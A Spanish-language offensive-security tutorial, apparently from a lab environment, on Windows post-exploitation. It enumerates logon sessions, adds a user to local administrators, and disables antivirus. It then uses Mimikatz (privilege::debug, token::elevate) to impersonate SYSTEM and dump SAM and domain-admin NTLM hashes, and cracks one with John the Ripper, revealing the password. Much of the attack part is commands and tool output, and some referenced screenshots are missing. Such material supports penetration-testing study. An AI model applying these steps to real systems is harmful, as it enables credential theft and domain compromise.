Esta tecnica se centra en capturar la logon session con un usuario que no tenga privilegios de un usuario que si tenga privilegios de administrador.
Pongamos que tenemos comprometido el equipo WS01 con el usuario de dominio empleado1, pero que a demas tambien tenemos el usuario santiago del WS01 que recordemos que es administrador local del equipo, este usuario administrador local del equipo no tiene privilegios respecto al dominio, pero si en su maquina, por lo que nos podremos abrir un PowerShell como administrador y ejecutar la herramienta que mencionamos anteriormente llamado logonsessions.exe para ver las logon sessions que hay en nuestro equipo, por lo que vamos hacer lo siuguiente:
Ejecutamos como Administrador el PowerShell y metemos lo siguiente para que se nos habra como administrador local:
cd C:\Users\empleado1\Desktop\logonSessions
.\logonsessions.exe
Pero antes de ejecutarlo abriremos otro PowerShell como Administrador del dominio esta vez simulando que el administrador esta actualmente en el equipo haciendo cualquier cosa.
Una vez abierto ese PowerShell lo dejaremos en segundo plano y ejecutaremos el PowerShell del administrador local del ejecutable logonsessions.exe:
Vemos que en el numero 10 hay uno que nos interesa ya que es el del Administrador pero del dominio.
Dentro del PowerShell del Administrador de dominio. haremos lo siguiente:
net localgroup administradores corp\empleado1 /add
Esto lo que hace sera añadir al grupo de Administradores el usuario empleado1 pero de forma local, ya que en muchas empresas se hacer esto tambien, no tiene efectos en el dominio, pero en la maquina a nivel local seria administrador, por lo que se podria hacer cosas tambien.
Ahora si ejecutamos un PowerShell como administrador local, nos aparecera esto:
Si volvemos a enumerar las logon sessions con este shell de administrador local podremos ver lo mismo de antes.
Volcado de credenciales SAM Windows
Ahora vamos a ver como volcar en Windows las credenciales a nivel local del SAM con una herramienta, primero utilizaremos Mimikatz para ello:
Vamos a desactivar el antivirus de Windows ya que lo detecta como malware el mimikatz y como somos Administradores locales, lo podremos hacer sin ningun problema.
Nos pasamos Mimikatz a la maquina WS01 y una vez echo eso, tendremos un PowerShell como empleado1 normal, despues abriremos una como administrador local del equipo y por ultimo otra como Administrador del dominio para la logon session simulando que hay un admin en nuestro equipo haciendo cualquier cosa.
En la PowerShell de administrador LOCAL haremos lo siguiente:
.\mimikatz.exe
Info:
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
Y ahora abriremos otro PowerShell como administrador local, para ejecutar el volcado de logon sessions:
cd C:\Users\empleado1\Desktop\logonSessions
.\logonsessions.exe
Vemos que la 9 y 10 es el usuario empleado1 pero como administrador local y el numero 11 es el Administrador del dominio.
Ahora como vemos que estos tienen una logon session podremos obtener sus credenciales mediante mimikatz ya que como dijimos anteriormente se guardan en memoria SAM y podremos extraerlas.
Vemos que hemos obtenido las credenciales NTLM del usuario Administrador del dominio, solo siendo administrador local del equipo.
Ahora con este hashNTLM lo que podemos hacer es intentar crackearlo o hacer un Pass-The-Hash, pero crackearlo seria de la siguiente forma:
Nos vamos a nuestro kali:
echo a87f3a337d73085c45f9416be5787d86 > admin.hash
john --format=NT admin.hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)
Vemos que se crackeo correctamente, pero nosotros ya lo teniamos crackeado de antes, por eso aparece asi, pero si lo queremos ver seria asi:
john --format=NT admin.hash --show
Info:
?:Passw0rd
1 password hash cracked, 0 left
Ahora si nos volvemos al Mimikatz necesitariamos rango System para realizar ciertas cosas importantes, no nos valdria solo con ser administrador local, pero si somos administradores locales, podremos suplantar el Access Token del System para obtenernlo nosotros y hacernos pasar por dicho rango.
Vamos a poner lo siguiente en mimikatz:
privilege::debug
Info:
Privilege '20' OK
Despues seguidamente pondremos lo siguiente:
token::elevate
Info:
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
660 {0;000003e7} 0 D 48728 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Primary
-> Impersonated !
* Process Token : {0;0023e015} 2 F 3275072 CORP\empleado1 S-1-5-21-3352250647-938130414-2449934813-1104 (13g,24p) Primary
* Thread Token : {0;000003e7} 0 D 3592987 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Impersonation (Delegation)
Vemos que aqui esta suplantando el Token de acceso del SYSTEM:
NT AUTHORITY\SYSTEM Primary -> Impersonated !
Ahora nosotros en nuestro usuario de empleado1 tenemos el token de NT AUTHORITY\SYSTEM por lo que nos estamos haciendo pasar por el y podremos realizar cosas en su rango.
Ahora nosotros podremos acceder a nuestra base de datos SAM:
Esto nos habra volcado toda la base de datos SAM con los hashes NTLM asociado a los usuarios, por lo que ya podremos intentar crackearlo para sacarle la contraseña en texto plano.